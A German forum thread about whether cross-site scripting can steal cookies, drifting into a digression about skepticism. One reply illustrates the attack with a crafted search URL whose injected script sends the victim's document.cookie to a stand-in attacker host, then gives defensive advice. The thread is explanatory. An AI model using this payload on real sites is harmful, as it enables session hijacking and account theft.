Norbert: Cross-Site-Scripting und Cookie

Hallo,

in einigen Foren wird behauptet, dass man mittels Cross-Site-Scripting die Cookies von Besuchern einer Webseite auslesen kann, also z.B. den Keks mit meinem Dauerlogin von Amazon.de. Geschrieben wurde darueber viel, doch ein konkretes und funktionierendes Beispiel habe ich nirgends gefunden, so dass ich diese Meldung eher fuer eine Ente halte.

Was meint Ihr ...
Oder hat vielleicht jemand ein Demo-Cross-Site-Script in der Schublade,
das wuerde ich dann gerne mal austesten wollen.

Gruss und Dank
Norbert

  1. hi,

    in einigen Foren wird behauptet, dass man mittels Cross-Site-Scripting die Cookies von Besuchern einer Webseite auslesen kann, also z.B. den Keks mit meinem Dauerlogin von Amazon.de.

    Ja, das wäre möglich - wenn die Seiten von amazon.com für Cross Site Scripting anfällig wären.

    Geschrieben wurde darueber viel, doch ein konkretes und funktionierendes Beispiel habe ich nirgends gefunden, so dass ich diese Meldung eher fuer eine Ente halte.

    Dann informiere dich doch bitte erst einmal, was Cross Site Scripting bedeutet.
    Das Problem ist durchaus existent, und auch relativ häufig anzutreffen - es als "Ente" abzutun, wäre gefährlich.
    Aber erwarte bitte nicht, hier detailierte Anleitungen zu bekommen, wie du solche eventuellen Lücken auf Seite xy ausnutzen könntest.

    gruß,
    wahsaga

    --
    /voodoo.css:
    #GeorgeWBush { position:absolute; bottom:-6ft; }
    1. Hi wahsaga

      grundsaetzlich ist alles, was ich nicht nachvollziehen kann default falsch.
      Die im Web gefundenen Beispiele haben definitiv auf meinem Apache-Server NICHT funktioniert.

      » » Aber erwarte bitte nicht, hier detailierte Anleitungen zu bekommen,
      » »  wie du solche eventuellen Luecken auf Seite xy ausnutzen könntest.
      hmm,
      mir wuerde ein funktionierendes Beispiel vollkommen reichen.
      Aber das habe ich bislang nirgends finden koennen.
      Mein privater "Spielplatz" umfasst derzeit 29 locale Domains, genug Platz zum Testen ...

      Wahr ist jedoch, dass man nichts "bekaempfen" kann, dass man nicht zu fassen bekommt. D.h. hier verkehrt sich "Geheimhaltung" in ihr Gegenteil zum Schaden Dritter.
      Na-ja, vielleicht ist das auch beabsichtigt.
      Man weiss es nicht ... ;-)

      Gruss und Dank
      Norbert

      1. hi,

        grundsaetzlich ist alles, was ich nicht nachvollziehen kann default falsch.

        Das wäre wohl grundsätzlich selten dämlich.

        Die im Web gefundenen Beispiele haben definitiv auf meinem Apache-Server NICHT funktioniert.

        Wunderbar - dann sind deine Scripte/Seiten für _diese Beispiele_ also wohl nicht anfällig.

        mir wuerde ein funktionierendes Beispiel vollkommen reichen.

        Nein, würde es nicht.
        Dann würdest du vielleicht _eine_ potentielle Schwachstelle analysieren können - es existieren aber im www sicherlich jede Menge davon.

        Wahr ist jedoch, dass man nichts "bekaempfen" kann, dass man nicht zu fassen bekommt. D.h. hier verkehrt sich "Geheimhaltung" in ihr Gegenteil zum Schaden Dritter.

        Du muss zunächst mal das _Prinzip_ verstehen.
        Dass du dich hierzu informieren sollte, was Cross Site Scripting eigentlich bedeutet, sagte ich bereits. Beispielsweise die wikipedia hat einen recht ausführlichen Artikel zu diesem Thema.

        gruß,
        wahsaga

        --
        /voodoo.css:
        #GeorgeWBush { position:absolute; bottom:-6ft; }
      2. Moin!

        grundsaetzlich ist alles, was ich nicht nachvollziehen kann default falsch.

        Na, da hab ich eigentlich schon keine Lust mehr am Beantworten deiner Frage, aber sie es als besondere Geste, dass du doch noch zu einem umrissenen Beispiel kommst.

        Die im Web gefundenen Beispiele haben definitiv auf meinem Apache-Server NICHT funktioniert.

        Das glaube ich dir gerne, weil Cross-Site-Scripting eine Interaktion zwischen anfälligem Server und Scripting-fähigen Client ist, d.h. es läuft weder nur auf dem Server als auch nur auf dem Client/Browser.

        mir wuerde ein funktionierendes Beispiel vollkommen reichen.
        Aber das habe ich bislang nirgends finden koennen.

        Achja, ich wollte mal ein Demo-Beispiel online stellen, hab ich nur leider irgendwie gelöscht und bin bislang noch nicht dazu gekommen, es zu rekonstruieren, deshalb skizziere ich nur grob:

        Nehmen wir an, die Suche eines Onlineshops wäre anfällig für XSS, d.h. bei der Ausgabe „Ihre Suche war …“ wird der eigentliche Suchbegriff nicht auf HTML-Code gecheckt und maskiert. Weiterhin sei unser Opfer, Otto Normalverbraucher, so bequem, dass er sich per Cookie nicht immer an- und abmelden muss. Nun schickt unser Mann Evil Hacker an Otto eine Mail mit dem Tipp, er solle doch mit folgendem Link mal nach den besten [Produktname bitte ausfüllen] suchen:

        http://www.online-shop.com/search?for=Produkt<script type="text/javascript">var i=new Image();i.src='http://evil-hacker.net/cgi-bin/steel-cookie?cookie='+document.cookie;</script>

        Beim Anklicken des Links wird die Suche mit diesem unhandlichen Parameter gefüttert und begrüßt Otto mit

          
        <p>Ihre Suchergebnisse für Produkt<script type="text/javascript">var i=new Image();i.src='http://evil-hacker.net/cgi-bin/steel-cookie?cookie='+encodeURI(document.cookie);</script></p>  
        
        

        Auf Evil Hackers Webserver lauert schon /cgi-bin/steel-cookie, das Ottos Cookie entgegen nimmt und für Evil Hacker gerade den neuen Porsche 911, eine Traumvilla im Schwarzwald und den 18-Karat-Goldring, mit dem er endlich die Sekretärin vom Chef rumkriegen will, bestellt.

        Mein privater "Spielplatz" umfasst derzeit 29 locale Domains, genug Platz zum Testen ...

        Überall, wo deine Gäste Eingaben machen können, d.h. selbst Cookie-Werte und URL-Parameter sind die Schwachstellen für XSS. Du musst daher immer wissen, was deine Webanwendung für Parameter möchte und am Besten alles andere als Fehler behandeln.

        Wahr ist jedoch, dass man nichts "bekaempfen" kann, dass man nicht zu fassen bekommt.

        Solange du nur mit statischem Inhalt, also HTML-Dateien, zu tun hast und deinem Browser JavaScript (im IE auch VBScript) verbietest, wirst du XSS reichlich selten zu Gesicht bekommen.

        D.h. hier verkehrt sich "Geheimhaltung" in ihr Gegenteil zum Schaden Dritter.

        ?

        Na-ja, vielleicht ist das auch beabsichtigt.
        Man weiss es nicht ... ;-)

        ???

        HTH, Robert

        1. Sorry!

          Das glaube ich dir gerne, weil Cross-Site-Scripting eine Interaktion zwischen anfälligem Server und Scripting-fähigen Client ist, d.h. es läuft weder nur auf dem Server als auch nur auf dem Client/Browser.

          Ich meinte natürlich Cross-Site Scripting aka. XSS]

          Robert

          1. Hallo Robert,

            erst mal vielen Dank fuer Deine Muehe.
            Werde mir die Zeit nehmen und versuchen Deinen Ansatz zu realisieren.
            Mit dem Ergebnis tauche ich dann hier wieder auf ...

            grundsaetzlich ist alles, was ich nicht nachvollziehen kann default falsch.
            Na, da hab ich eigentlich schon keine Lust mehr am Beantworten deiner Frage

            hmm,
            bist Du wirklich auf "blindes Vertrauen" angewiesen ?
            Selbst unser Prof meinte, dass man ihm nicht alles ungeprueft glauben soll, da er vermutet, schon mal was falsches gesagt zu haben, was wir uns auch im letzten Studienjahr nicht wirklich vorstellen konnten.

            Gruss und Dank
            Norbert

            1. Moin!

              erst mal vielen Dank fuer Deine Muehe.

              Keine Ursache. Nachdem ich mal bei ner Projektarbeit in der Schule das Gästebuch-Projekt eines Kameraden „gehackt“ habe, durfte ich als „Bestrafung“ ein Referat über „Sicherheit” mit PHP/CGI, MySQL halten – und seitdem ist das ein bisschen mein Hobby, nicht zuletzt, um meine Homepage sauber zu halten.

              Werde mir die Zeit nehmen und versuchen Deinen Ansatz zu realisieren.
              Mit dem Ergebnis tauche ich dann hier wieder auf ...

              Da bin ich mal gespannt drauf.

              grundsaetzlich ist alles, was ich nicht nachvollziehen kann default falsch.
              Na, da hab ich eigentlich schon keine Lust mehr am Beantworten deiner Frage
              hmm,
              bist Du wirklich auf "blindes Vertrauen" angewiesen?

              Nein, aber es gibt Dinge, die man nicht verstehen kann, aber weiß, dass sie stimmen; mir fällt da als angehender Diplom-Physiker z.B. die Relativitätstheorie ein. Es hängt immer davon ab, von wem eine Information stammt, wie diese vermittelt wird, worüber, …

              Selbst unser Prof meinte, dass man ihm nicht alles ungeprueft glauben soll, da er vermutet, schon mal was falsches gesagt zu haben, was wir uns auch im letzten Studienjahr nicht wirklich vorstellen konnten.

              Ja klar, Fehler passieren jedem mal, aber davon, dass dein Prof. totalen Bullshit redet, wirst du wohl auch nicht ausgegangen sein, sonst hätten die Vorlesungen wenig Sinn, oder?

              Außerdem, das ist doch das tolle an unserer Zeit: Man kann alles nachprüfen durch den (fast) ungehinderten Zugang zu Informationen, man darf nur nicht alles ungeprüft glauben, was andere mitteilen ;-)

              P.S.: Mit http://www.google.de/search?hl=de&q="Bielefeld existiert nicht" findest du übrigens mehr Hinweise, dass es Bielefeld nicht gibt, als dass es tatsächlich existiert.

              Viele Grüße,
              Robert

              1. Hallo Robert,

                nur mal am Rande ...
                Ich war mehrere Tage in dem Ort den "SIE" Bielefeld nennen und kann jederzeit beschwoeren, das "ES" nicht existiert ... ;-)

                Gruss Norbert

            2. Hi Norbert,

              grundsaetzlich ist alles, was ich nicht nachvollziehen kann default falsch.
              Na, da hab ich eigentlich schon keine Lust mehr am Beantworten deiner Frage
              hmm,
              bist Du wirklich auf "blindes Vertrauen" angewiesen ?

              blindes Vertrauen und der Standpunkt, den du dargestellt hast, sind meiner Ansicht nach zwei Extreme auf einer Skala. Und ich halte beide Extreme für wenig erstrebenswert.

              Gerade in Technik und Wissenschaft ist blindes Vertrauen in die Aussagen Anderer wohl nicht angebracht. Dieser Bereich unserer Gesellschaft ist auf Logik und Zusammenhänge angewiesen, und dazu gehört sicher auch, dass man Aussagen und Thesen gegen andere, als richtig anerkannte Informationen verifiziert.

              Aber was du ausgedrückt hast, klingt -etwas überspitzt- nach dem Lebensmotto "was ich nicht kenne, gibt's nicht". Und das ist hier genauso Quatsch wie das bedingungslose Vertrauen. Ich finde, man sollte sich bei nicht bewiesenen oder belegten Aussagen die Frage stellen: Kann das stimmen? Steht das im Widerspruch zu anderen anerkannten Fakten? Falls ja, wo liegt der Fehler? Falls nein, kann man die Aussage unter Vorbehalt als Möglichkeit akzeptieren.

              Eine gesunde Skepsis ist also durchaus angebracht - aber bitte nicht gleich alles verneinen, was nicht felsenfest bewiesen ist. Auch in Wissenschaft und Technik hat der Glaube noch seinen Platz. Nur nennt man es hier nicht Glaube, sondern vielleicht These oder Annahme. Und anders als in der Religion sollte man sich auch immer bewusst sein, dass die Annahme sich auch als falsch erweisen könnte.

              Selbst unser Prof meinte, dass man ihm nicht alles ungeprueft glauben soll, da er vermutet, schon mal was falsches gesagt zu haben, was wir uns auch im letzten Studienjahr nicht wirklich vorstellen konnten.

              Ja, es gibt solche Leute, die eine so unerschütterliche Sachkenntnis haben, dass man sich einen Irrtum oder einen Fehler gar nicht vorstellen kann. Und doch verzapfen selbst die brillantesten Köpfe ab und zu einen Stuss, und sei es nur, weil sie mit den Gedanken nicht ganz bei der Sache sind.

              Schönen Abend noch,

              Martin

              --
              Denken ist wohl die schwerste Arbeit, die es gibt. Deshalb beschäftigen sich auch nur wenige damit.
                (Henry Ford, amerikanischer Industriepionier)
            3. Hallo Norbert,

              grundsaetzlich ist alles, was ich nicht nachvollziehen kann default falsch.
              Na, da hab ich eigentlich schon keine Lust mehr am Beantworten deiner Frage
              hmm,
              bist Du wirklich auf "blindes Vertrauen" angewiesen ?

              gesundes Misstrauen ist kein blindes Vertrauen.
              Gesundes Misstrauen ist auch kein blindes Ablehnen.

              Selbst unser Prof meinte, dass man ihm nicht alles ungeprueft glauben soll, da er vermutet, schon mal was falsches gesagt zu haben, was wir uns auch im letzten Studienjahr nicht wirklich vorstellen konnten.

              "nicht alles ungeprüft" ist nicht das gleiche wie "nichts ungeprüft" ...

              Freundliche Grüße

              Vinzenz